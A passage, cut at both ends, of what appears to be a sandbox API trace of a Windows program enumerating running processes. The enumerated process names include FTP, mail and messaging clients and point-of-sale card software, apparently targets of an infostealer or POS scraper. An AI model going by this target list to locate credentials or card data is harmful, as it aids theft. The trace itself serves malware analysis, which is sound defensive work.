th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.709] GetLastError () returned 0x12 [0055.709] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.710] GetLastError () returned 0x12 [0055.710] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.711] GetLastError () returned 0x12 [0055.711] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.711] GetLastError () returned 0x12 [0055.712] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.712] GetLastError () returned 0x12 [0055.712] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.713] GetLastError () returned 0x12 [0055.713] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.714] GetLastError () returned 0x12 [0055.714] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0055.714] GetLastError () returned 0x12 [0055.714] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0055.715] GetLastError () returned 0x12 [0055.715] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.716] GetLastError () returned 0x12 [0055.716] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.716] GetLastError () returned 0x12 [0055.717] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0055.717] GetLastError () returned 0x12 [0055.717] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.718] GetLastError () returned 0x12 [0055.718] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0055.719] GetLastError () returned 0x12 [0055.719] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.719] GetLastError () returned 0x12 [0055.719] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0055.720] GetLastError () returned 0x12 [0055.720] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0055.721] GetLastError () returned 0x12 [0055.721] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0055.722] GetLastError () returned 0x12 [0055.722] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0055.722] GetLastError () returned 0x12 [0055.723] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0055.723] GetLastError () returned 0x12 [0055.723] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0055.724] GetLastError () returned 0x12 [0055.724] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0055.725] GetLastError () returned 0x12 [0055.725] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0055.725] GetLastError () returned 0x12 [0055.725] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0055.726] GetLastError () returned 0x12 [0055.726] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0055.727] GetLastError () returned 0x12 [0055.727] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0055.727] GetLastError () returned 0x12 [0055.727] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0055.728] GetLastError () returned 0x12 [0055.728] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0055.729] GetLastError () returned 0x12 [0055.729] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0055.730] GetLastError () returned 0x12 [0055.730] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0055.730] GetLastError () returned 0x12 [0055.730] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0055.731] GetLastError () returned 0x12 [0055.731] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0055.732] GetLastError () returned 0x12 [0055.732] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0055.732] GetLastError () returned 0x12 [0055.733] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0055.733] GetLastError () returned 0x12 [0055.733] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0055.734] GetLastError () returned 0x12 [0055.734] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0055.735] GetLastError () returned 0x12 [0055.735] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0055.736] GetLastError () returned 0x12 [0055.736] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0055.851] GetLastError () returned 0x12 [0055.851] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0055.852] GetLastError () returned 0x12 [0055.852] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0055.853] GetLastError () returned 0x12 [0055.853] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0055.854] GetLastError () returned 0x12 [0055.854] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0055.854] GetLastError () returned 0x12 [0055.854] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0055.855] GetLastError () returned 0x12 [0055.855] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0055.856] GetLastError () returned 0x12 [0055.856] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0055.857] GetLastError () returned 0x12 [0055.857] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0055.858] GetLastError () returned 0x12 [0055.858] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0055.859] GetLastError () returned 0x12 [0055.859] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0055.860] GetLastError () returned 0x12 [0055.860] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0055.861] GetLastError () returned 0x12 [0055.861] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0055.862] GetLastError () returned 0x12 [0055.862] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0055.863] GetLastError () returned 0x12 [0055.863] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0055.864] GetLastError () returned 0x12 [0055.864] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0055.865] GetLastError () returned 0x12 [0055.865] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0055.866] GetLastError () returned 0x12 [0055.866] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0055.867] GetLastError () returned 0x12 [0055.867] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0055.868] GetLastError () returned 0x12 [0055.868] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0055.869] GetLastError () returned 0x12 [0055.869] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0055.870] GetLastError () returned 0x12 [0055.870] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0055.871] GetLastError () returned 0x12 [0055.871] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0055.872] GetLastError () returned 0x12 [0055.872] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0055.873] GetLastError () returned 0x12 [0055.873] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0055.873] GetLastError () returned 0x12 [0055.874] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0055.874] GetLastError () returned 0x12 [0055.874] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0055.875] GetLastError () returned 0x12 [0055.875] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0055.876] GetLastError () returned 0x12 [0055.876] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0055.877] GetLastError () returned 0x12 [0055.877] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0055.878] GetLastError () returned 0x12 [0055.878] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0055.879] GetLastError () returned 0x12 [0055.879] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0055.880] GetLastError () returned 0x12 [0055.880] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0055.881] GetLastError () returned 0x12 [0055.881] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0055.882] GetLastError () returned 0x12 [0055.882] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0055.883] GetLastError () returned 0x12 [0055.883] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0055.884] GetLastError () returned 0x12 [0055.884] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0055.884] GetLastError () returned 0x12 [0055.885] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0055.885] GetLastError () returned 0x12 [0055.885] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0055.886] GetLastError () returned 0x12 [0055.886] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.887] GetLastError () returned 0x12 [0055.887] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, 